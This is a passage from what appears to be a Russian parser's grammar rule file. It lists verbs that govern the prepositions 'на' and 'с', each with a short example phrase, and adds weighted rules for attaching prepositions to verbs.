rus_verbs:устроиться{}, // устроиться на стажировку rus_verbs:погрузиться{}, // погрузиться на большую глубину rus_verbs:течь{}, // течь на землю rus_verbs:отбросить{}, // отбросить на землю rus_verbs:метать{}, // метать на дно rus_verbs:пустить{}, // пустить на переплавку rus_verbs:прожить{}, // прожить на пособие rus_verbs:полететь{}, // полететь на континент rus_verbs:пропустить{}, // пропустить на сцену rus_verbs:указывать{}, // указывать на ошибку rus_verbs:наткнуться{}, // наткнуться на клад rus_verbs:рвануть{}, // рвануть на юг rus_verbs:ступать{}, // ступать на землю rus_verbs:спрыгнуть{}, // спрыгнуть на берег rus_verbs:заходить{}, // заходить на огонёк rus_verbs:нырнуть{}, // нырнуть на глубину rus_verbs:рвануться{}, // рвануться на свободу rus_verbs:натянуть{}, // натянуть на голову rus_verbs:забраться{}, // забраться на стол rus_verbs:помахать{}, // помахать на прощание rus_verbs:содержать{}, // содержать на спонсорскую помощь rus_verbs:приезжать{}, // приезжать на праздники rus_verbs:проникнуть{}, // проникнуть на территорию rus_verbs:подъехать{}, // подъехать на митинг rus_verbs:устремиться{}, // устремиться на волю rus_verbs:посадить{}, // посадить на стул rus_verbs:ринуться{}, // ринуться на голкипера rus_verbs:подвигнуть{}, // подвигнуть на подвиг rus_verbs:отдавать{}, // отдавать на перевоспитание rus_verbs:отложить{}, // отложить на черный день rus_verbs:убежать{}, // убежать на танцы rus_verbs:поднимать{}, // поднимать на верхний этаж rus_verbs:переходить{}, // переходить на цифровой сигнал rus_verbs:отослать{}, // отослать на переаттестацию rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола rus_verbs:назначить{}, // назначить на должность rus_verbs:осесть{}, // осесть на дно rus_verbs:торопиться{}, // торопиться на экзамен rus_verbs:менять{}, // менять на еду rus_verbs:доставить{}, // доставить на шестой этаж rus_verbs:заслать{}, // заслать на проверку rus_verbs:дуть{}, // дуть на воду rus_verbs:сослать{}, // сослать на каторгу rus_verbs:останавливаться{}, // останавливаться на отдых rus_verbs:сдаваться{}, // сдаваться на милость победителя rus_verbs:сослаться{}, // сослаться на презумпцию невиновности rus_verbs:рассердиться{}, // рассердиться на дочь rus_verbs:кинуть{}, // кинуть на землю rus_verbs:расположиться{}, // расположиться на ночлег rus_verbs:осмелиться{}, // осмелиться на подлог rus_verbs:шептать{}, // шептать на ушко rus_verbs:уронить{}, // уронить на землю rus_verbs:откинуть{}, // откинуть на спинку кресла rus_verbs:перенести{}, // перенести на рабочий стол rus_verbs:сдаться{}, // сдаться на милость победителя rus_verbs:светить{}, // светить на дорогу rus_verbs:мчаться{}, // мчаться на бал rus_verbs:нестись{}, // нестись на свидание rus_verbs:поглядывать{}, // поглядывать на экран rus_verbs:орать{}, // орать на детей rus_verbs:уложить{}, // уложить на лопатки rus_verbs:решаться{}, // решаться на поступок rus_verbs:попадать{}, // попадать на карандаш rus_verbs:сплюнуть{}, // сплюнуть на землю rus_verbs:снимать{}, // снимать на телефон rus_verbs:опоздать{}, // опоздать на работу rus_verbs:посылать{}, // посылать на проверку rus_verbs:погнать{}, // погнать на пастбище rus_verbs:поступать{}, // поступать на кибернетический факультет rus_verbs:спускаться{}, // спускаться на уровень моря rus_verbs:усадить{}, // усадить на диван rus_verbs:проиграть{}, // проиграть на спор rus_verbs:прилететь{}, // прилететь на фестиваль rus_verbs:повалиться{}, // повалиться на спину rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина rus_verbs:задавать{}, // задавать на выходные rus_verbs:запасть{}, // запасть на девочку rus_verbs:лезть{}, // лезть на забор rus_verbs:потащить{}, // потащить на выборы rus_verbs:направляться{}, // направляться на экзамен rus_verbs:определять{}, // определять на вкус rus_verbs:поползти{}, // поползти на стену rus_verbs:поплыть{}, // поплыть на берег rus_verbs:залезть{}, // залезть на яблоню rus_verbs:сдать{}, // сдать на мясокомбинат rus_verbs:приземлиться{}, // приземлиться на дорогу rus_verbs:лаять{}, // лаять на прохожих rus_verbs:перевернуть{}, // перевернуть на бок rus_verbs:ловить{}, // ловить на живца rus_verbs:отнести{}, // отнести животное на хирургический стол rus_verbs:плюнуть{}, // плюнуть на условности rus_verbs:передавать{}, // передавать на проверку rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали инфинитив:рассыпаться{вид:соверш}, глагол:рассыпаться{вид:несоверш}, глагол:рассыпаться{вид:соверш}, деепричастие:рассыпавшись{}, деепричастие:рассыпаясь{}, прилагательное:рассыпавшийся{вид:несоверш}, прилагательное:рассыпавшийся{вид:соверш}, прилагательное:рассыпающийся{}, rus_verbs:зарычать{}, // Медведица зарычала на медвежонка rus_verbs:призвать{}, // призвать на сборы rus_verbs:увезти{}, // увезти на дачу rus_verbs:содержаться{}, // содержаться на пожертвования rus_verbs:навести{}, // навести на скопление телескоп rus_verbs:отправляться{}, // отправляться на утилизацию rus_verbs:улечься{}, // улечься на животик rus_verbs:налететь{}, // налететь на препятствие rus_verbs:перевернуться{}, // перевернуться на спину rus_verbs:улететь{}, // улететь на родину rus_verbs:ложиться{}, // ложиться на бок rus_verbs:класть{}, // класть на место rus_verbs:отреагировать{}, // отреагировать на выступление rus_verbs:доставлять{}, // доставлять на дом rus_verbs:отнять{}, // отнять на благо правящей верхушки rus_verbs:ступить{}, // ступить на землю rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы rus_verbs:унести{}, // унести на работу rus_verbs:сходить{}, // сходить на концерт rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги rus_verbs:соскочить{}, // соскочить на землю rus_verbs:пожаловаться{}, // пожаловаться на соседей rus_verbs:тащить{}, // тащить на замену rus_verbs:замахать{}, // замахать руками на паренька rus_verbs:заглядывать{}, // заглядывать на обед rus_verbs:соглашаться{}, // соглашаться на равный обмен rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик rus_verbs:увести{}, // увести на осмотр rus_verbs:успевать{}, // успевать на контрольную работу rus_verbs:опрокинуть{}, // опрокинуть на себя rus_verbs:подавать{}, // подавать на апелляцию rus_verbs:прибежать{}, // прибежать на вокзал rus_verbs:отшвырнуть{}, // отшвырнуть на замлю rus_verbs:привлекать{}, // привлекать на свою сторону rus_verbs:опереться{}, // опереться на палку rus_verbs:перебраться{}, // перебраться на маленький островок rus_verbs:уговорить{}, // уговорить на новые траты rus_verbs:гулять{}, // гулять на спонсорские деньги rus_verbs:переводить{}, // переводить на другой путь rus_verbs:заколебаться{}, // заколебаться на один миг rus_verbs:зашептать{}, // зашептать на ушко rus_verbs:привстать{}, // привстать на цыпочки rus_verbs:хлынуть{}, // хлынуть на берег rus_verbs:наброситься{}, // наброситься на еду rus_verbs:напасть{}, // повстанцы, напавшие на конвой rus_verbs:убрать{}, // книга, убранная на полку rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию rus_verbs:засматриваться{}, // засматриваться на девчонок rus_verbs:застегнуться{}, // застегнуться на все пуговицы rus_verbs:провериться{}, // провериться на заболевания rus_verbs:проверяться{}, // проверяться на заболевания rus_verbs:тестировать{}, // тестировать на профпригодность rus_verbs:протестировать{}, // протестировать на профпригодность rus_verbs:уходить{}, // отец, уходящий на работу rus_verbs:налипнуть{}, // снег, налипший на провода rus_verbs:налипать{}, // снег, налипающий на провода rus_verbs:улетать{}, // Многие птицы улетают осенью на юг. rus_verbs:поехать{}, // она поехала на встречу с заказчиком rus_verbs:переключать{}, // переключать на резервную линию rus_verbs:переключаться{}, // переключаться на резервную линию rus_verbs:подписаться{}, // подписаться на обновление rus_verbs:нанести{}, // нанести на кожу rus_verbs:нарываться{}, // нарываться на неприятности rus_verbs:выводить{}, // выводить на орбиту rus_verbs:вернуться{}, // вернуться на родину rus_verbs:возвращаться{}, // возвращаться на родину прилагательное:падкий{}, // Он падок на деньги. прилагательное:обиженный{}, // Он обижен на отца. rus_verbs:косить{}, // Он косит на оба глаза. rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок. прилагательное:готовый{}, // Он готов на всякие жертвы. rus_verbs:говорить{}, // Он говорит на скользкую тему. прилагательное:глухой{}, // Он глух на одно ухо. rus_verbs:взять{}, // Он взял ребёнка себе на колени. rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия. rus_verbs:вести{}, // Лестница ведёт на третий этаж. rus_verbs:уполномочивать{}, // уполномочивать на что-либо глагол:спешить{ вид:несоверш }, // Я спешу на поезд. rus_verbs:брать{}, // Я беру всю ответственность на себя. rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление. rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики. rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку. rus_verbs:разбираться{}, // Эта машина разбирается на части. rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние. rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп. rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье. rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно. rus_verbs:делиться{}, // Тридцать делится на пять без остатка. rus_verbs:удаляться{}, // Суд удаляется на совещание. rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север. rus_verbs:сохранить{}, // Сохраните это на память обо мне. rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию. rus_verbs:лететь{}, // Самолёт летит на север. rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров. // rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи. rus_verbs:смотреть{}, // Она смотрит на нас из окна. rus_verbs:отдать{}, // Она отдала мне деньги на сохранение. rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину. rus_verbs:любоваться{}, // гости любовались на картину rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь. прилагательное:действительный{}, // Прививка оспы действительна только на три года. rus_verbs:спуститься{}, // На город спустился смог прилагательное:нечистый{}, // Он нечист на руку. прилагательное:неспособный{}, // Он неспособен на такую низость. прилагательное:злой{}, // кот очень зол на хозяина rus_verbs:пойти{}, // Девочка не пошла на урок физультуры rus_verbs:прибывать{}, // мой поезд прибывает на первый путь rus_verbs:застегиваться{}, // пальто застегивается на двадцать одну пуговицу rus_verbs:идти{}, // Дело идёт на лад. rus_verbs:лазить{}, // Он лазил на чердак. rus_verbs:поддаваться{}, // Он легко поддаётся на уговоры. // rus_verbs:действовать{}, // действующий на нервы rus_verbs:выходить{}, // Балкон выходит на площадь. rus_verbs:работать{}, // Время работает на нас. глагол:написать{aux stress="напис^ать"}, // Он написал музыку на слова Пушкина. rus_verbs:бросить{}, // Они бросили все силы на строительство. // глагол:разрезать{aux stress="разр^езать"}, глагол:разрезать{aux stress="разрез^ать"}, // Она разрезала пирог на шесть кусков. rus_verbs:броситься{}, // Она радостно бросилась мне на шею. rus_verbs:оправдать{}, // Она оправдала неявку на занятия болезнью. rus_verbs:ответить{}, // Она не ответила на мой поклон. rus_verbs:нашивать{}, // Она нашивала заплату на локоть. rus_verbs:молиться{}, // Она молится на свою мать. rus_verbs:запереть{}, // Она заперла дверь на замок. rus_verbs:заявить{}, // Она заявила свои права на наследство. rus_verbs:уйти{}, // Все деньги ушли на путешествие. rus_verbs:вступить{}, // Водолаз вступил на берег. rus_verbs:сойти{}, // Ночь сошла на землю. rus_verbs:приехать{}, // Мы приехали на вокзал слишком рано. rus_verbs:рыдать{}, // Не рыдай так безумно над ним. rus_verbs:подписать{}, // Не забудьте подписать меня на газету. rus_verbs:держать{}, // Наш пароход держал курс прямо на север. rus_verbs:свезти{}, // На выставку свезли экспонаты со всего мира. rus_verbs:ехать{}, // Мы сейчас едем на завод. rus_verbs:выбросить{}, // Волнами лодку выбросило на берег. ГЛ_ИНФ(сесть), // сесть на снег ГЛ_ИНФ(записаться), ГЛ_ИНФ(положить) // положи книгу на стол } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: залить на youtube fact гл_предл { if context { Гл_НА_Вин предлог:на{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { глагол:купить{} предлог:на{} 'деньги'{падеж:вин} } then return true } fact гл_предл { if context { Гл_НА_Вин предлог:на{} *:*{ падеж:вин } } then return true } // смещаться на несколько миллиметров fact гл_предл { if context { Гл_НА_Вин предлог:на{} наречие:*{} } then return true } // партия взяла на себя нереалистичные обязательства fact гл_предл { if context { глагол:взять{} предлог:на{} 'себя'{падеж:вин} } then return true } #endregion ВИНИТЕЛЬНЫЙ // Все остальные варианты с предлогом 'НА' по умолчанию запрещаем. fact гл_предл { if context { * предлог:на{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:на{} *:*{ падеж:вин } } then return false,-4 } // Этот вариант нужен для обработки конструкций с числительными: // Президентские выборы разделили Венесуэлу на два непримиримых лагеря fact гл_предл { if context { * предлог:на{} *:*{ падеж:род } } then return false,-4 } // Продавать на eBay fact гл_предл { if context { * предлог:на{} * } then return false,-6 } #endregion Предлог_НА #region Предлог_С // ------------- ПРЕДЛОГ 'С' ----------------- // У этого предлога предпочтительная семантика привязывает его обычно к существительному. // Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим. #region ТВОРИТЕЛЬНЫЙ wordentry_set Гл_С_Твор={ rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться rus_verbs:забраться{}, rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ) rus_verbs:БИТЬСЯ{}, // rus_verbs:ПОДРАТЬСЯ{}, // прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ) rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ) rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ) rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ) rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ) прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом. rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ) rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ) rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ) rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ) rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ) rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ) rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ) rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ) rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ) rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ) rus_verbs:отправить{}, // вы можете отправить со мной человека rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор) rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С) rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С) прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С) rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С) rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С) rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С) rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С) rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С) rus_verbs:СВЫКАТЬСЯ{}, rus_verbs:стаскиваться{}, rus_verbs:спиливаться{}, rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С) rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор) rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С) rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С) rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С) rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С) rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С) rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С) rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С) rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С) rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С) rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор) rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С) rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С) rus_verbs:согласиться{}, // с этим согласились все (согласиться с) rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор) rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С) rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С) rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор) rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор) rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С) rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С) rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор) rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор) rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор) rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор) rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор) rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор) rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор) rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор) rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор) rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ) rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ) rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много) rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С) rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С) rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С) rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С) rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С) rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор) rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С) rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С) rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С) rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С) rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С) инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара. инфинитив:кристаллизоваться{ вид:несоверш }, глагол:кристаллизоваться{ вид:соверш }, глагол:кристаллизоваться{ вид:несоверш }, rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С) rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С) rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С) rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С) rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С) rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор) rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С) rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С) rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с) rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с) rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с) rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с) rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело. rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором rus_verbs:стирать{}, // стирать с мылом рубашку в тазу rus_verbs:прыгать{}, // парашютист прыгает с парашютом rus_verbs:выступить{}, // Он выступил с приветствием съезду. rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят. rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой. rus_verbs:вставать{}, // он встаёт с зарёй rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером. rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью. rus_verbs:договориться{}, // мы договоримся с вами rus_verbs:побыть{}, // он хотел побыть с тобой rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью rus_verbs:вязаться{}, // вязаться с фактами rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:относиться{}, // относиться с пониманием rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов. rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней rus_verbs:гулять{}, // бабушка гуляет с внуком rus_verbs:разбираться{}, // разбираться с задачей rus_verbs:сверить{}, // Данные были сверены с эталонными значениями rus_verbs:делать{}, // Что делать со старым телефоном rus_verbs:осматривать{}, // осматривать с удивлением rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре rus_verbs:попрощаться{}, // попрощаться с талантливым актером rus_verbs:задремать{}, // задремать с кружкой чая в руке rus_verbs:связать{}, // связать катастрофу с действиями конкурентов rus_verbs:носиться{}, // носиться с безумной идеей rus_verbs:кончать{}, // кончать с собой rus_verbs:обмениваться{}, // обмениваться с собеседниками rus_verbs:переговариваться{}, // переговариваться с маяком rus_verbs:общаться{}, // общаться с полицией rus_verbs:завершить{}, // завершить с ошибкой rus_verbs:обняться{}, // обняться с подругой rus_verbs:сливаться{}, // сливаться с фоном rus_verbs:смешаться{}, // смешаться с толпой rus_verbs:договариваться{}, // договариваться с потерпевшим rus_verbs:обедать{}, // обедать с гостями rus_verbs:сообщаться{}, // сообщаться с подземной рекой rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц rus_verbs:читаться{}, // читаться с трудом rus_verbs:смириться{}, // смириться с утратой rus_verbs:разделить{}, // разделить с другими ответственность rus_verbs:роднить{}, // роднить с медведем rus_verbs:медлить{}, // медлить с ответом rus_verbs:скрестить{}, // скрестить с ужом rus_verbs:покоиться{}, // покоиться с миром rus_verbs:делиться{}, // делиться с друзьями rus_verbs:познакомить{}, // познакомить с Олей rus_verbs:порвать{}, // порвать с Олей rus_verbs:завязать{}, // завязать с Олей знакомство rus_verbs:суетиться{}, // суетиться с изданием романа rus_verbs:соединиться{}, // соединиться с сервером rus_verbs:справляться{}, // справляться с нуждой rus_verbs:замешкаться{}, // замешкаться с ответом rus_verbs:поссориться{}, // поссориться с подругой rus_verbs:ссориться{}, // ссориться с друзьями rus_verbs:торопить{}, // торопить с решением rus_verbs:поздравить{}, // поздравить с победой rus_verbs:проститься{}, // проститься с человеком rus_verbs:поработать{}, // поработать с деревом rus_verbs:приключиться{}, // приключиться с Колей rus_verbs:сговориться{}, // сговориться с Ваней rus_verbs:отъехать{}, // отъехать с ревом rus_verbs:объединять{}, // объединять с другой кампанией rus_verbs:употребить{}, // употребить с молоком rus_verbs:перепутать{}, // перепутать с другой книгой rus_verbs:запоздать{}, // запоздать с ответом rus_verbs:подружиться{}, // подружиться с другими детьми rus_verbs:дружить{}, // дружить с Сережей rus_verbs:поравняться{}, // поравняться с финишной чертой rus_verbs:ужинать{}, // ужинать с гостями rus_verbs:расставаться{}, // расставаться с приятелями rus_verbs:завтракать{}, // завтракать с семьей rus_verbs:объединиться{}, // объединиться с соседями rus_verbs:сменяться{}, // сменяться с напарником rus_verbs:соединить{}, // соединить с сетью rus_verbs:разговориться{}, // разговориться с охранником rus_verbs:преподнести{}, // преподнести с помпой rus_verbs:напечатать{}, // напечатать с картинками rus_verbs:соединять{}, // соединять с сетью rus_verbs:расправиться{}, // расправиться с беззащитным человеком rus_verbs:распрощаться{}, // распрощаться с деньгами rus_verbs:сравнить{}, // сравнить с конкурентами rus_verbs:ознакомиться{}, // ознакомиться с выступлением инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{}, rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия rus_verbs:прощаться{}, // прощаться с боевым товарищем rus_verbs:сравнивать{}, // сравнивать с конкурентами rus_verbs:складывать{}, // складывать с весом упаковки rus_verbs:повестись{}, // повестись с ворами rus_verbs:столкнуть{}, // столкнуть с отбойником rus_verbs:переглядываться{}, // переглядываться с соседом rus_verbs:поторопить{}, // поторопить с откликом rus_verbs:развлекаться{}, // развлекаться с подружками rus_verbs:заговаривать{}, // заговаривать с незнакомцами rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим деепричастие:согласуясь{}, прилагательное:согласующийся{}, rus_verbs:совпасть{}, // совпасть с оригиналом rus_verbs:соединяться{}, // соединяться с куратором rus_verbs:повстречаться{}, // повстречаться с героями rus_verbs:поужинать{}, // поужинать с родителями rus_verbs:развестись{}, // развестись с первым мужем rus_verbs:переговорить{}, // переговорить с коллегами rus_verbs:сцепиться{}, // сцепиться с бродячей собакой rus_verbs:сожрать{}, // сожрать с потрохами rus_verbs:побеседовать{}, // побеседовать со шпаной rus_verbs:поиграть{}, // поиграть с котятами rus_verbs:сцепить{}, // сцепить с тягачом rus_verbs:помириться{}, // 